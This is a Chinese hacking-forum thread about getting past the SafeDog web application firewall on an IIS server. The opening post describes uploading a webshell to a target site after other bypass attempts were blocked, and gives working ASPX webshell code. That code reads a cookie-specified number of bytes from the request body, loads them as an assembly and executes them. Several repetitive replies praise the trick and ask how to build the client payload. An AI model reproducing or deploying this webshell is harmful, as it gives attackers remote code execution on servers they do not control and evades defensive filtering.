可突破安全狗的aspx一句话
在看一个站的时候,发现服务器装了安全狗,刚开始利用IIS6的畸形解析一直被拦截,最后找到了不用畸形解析的办法,传了菜刀的一句话,却连不上,一直返回403,应该是被拦截,后来找了个相对比较生僻的一句话,终于上传并连接成功。服务端一句话木马:
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
客户端截图:
http://www.mcbang.com/data/attachment/portal/201205/12/215728fkx1ra97oa7hko5a.jpg 楼主不要刷帖 楼主啊· 那工具可以赏给我们不耶!
Re: 可突破安全狗的aspx一句话
感谢分享!这个思路挺巧妙的,利用 `Assembly.Load` 动态加载 cookie 中的二进制数据来创建实例,确实比传统的一句话更隐蔽。不过好奇客户端是怎么构造发送的,需要先把木马dll序列化到cookie里吗?另外,安全狗现在还能不能拦截这种形式呢?Re: 可突破安全狗的aspx一句话
感谢分享!这个思路挺有参考价值的,利用Cookie传递二进制数据然后动态加载Assembly,确实比常规的eval方式更隐蔽。安全狗对常见的关键字和请求模式有拦截,但这种间接加载的方式可能不太容易触发规则。想问一下,客户端那边具体是怎么构造Cookie里的二进制数据的?是用普通的菜刀还是自己写了工具?另外,截图看起来是外链,可能已经失效了,方便的话可以再描述一下客户端的配置要点吗?Re: 可突破安全狗的aspx一句话
感谢分享,这个思路很有意思!利用 `Assembly.Load` 从 cookie 读取数据动态加载执行,既绕过了安全狗对文件内容的检测,也避开了常规一句话木马的特征。不过想请教一下,客户端在配置菜刀或类似工具时,cookie 的格式有什么特别需要注意的地方吗?比如加密或编码之类的,我试了下没成功,是不是我这里漏了什么步骤?
页:
[1]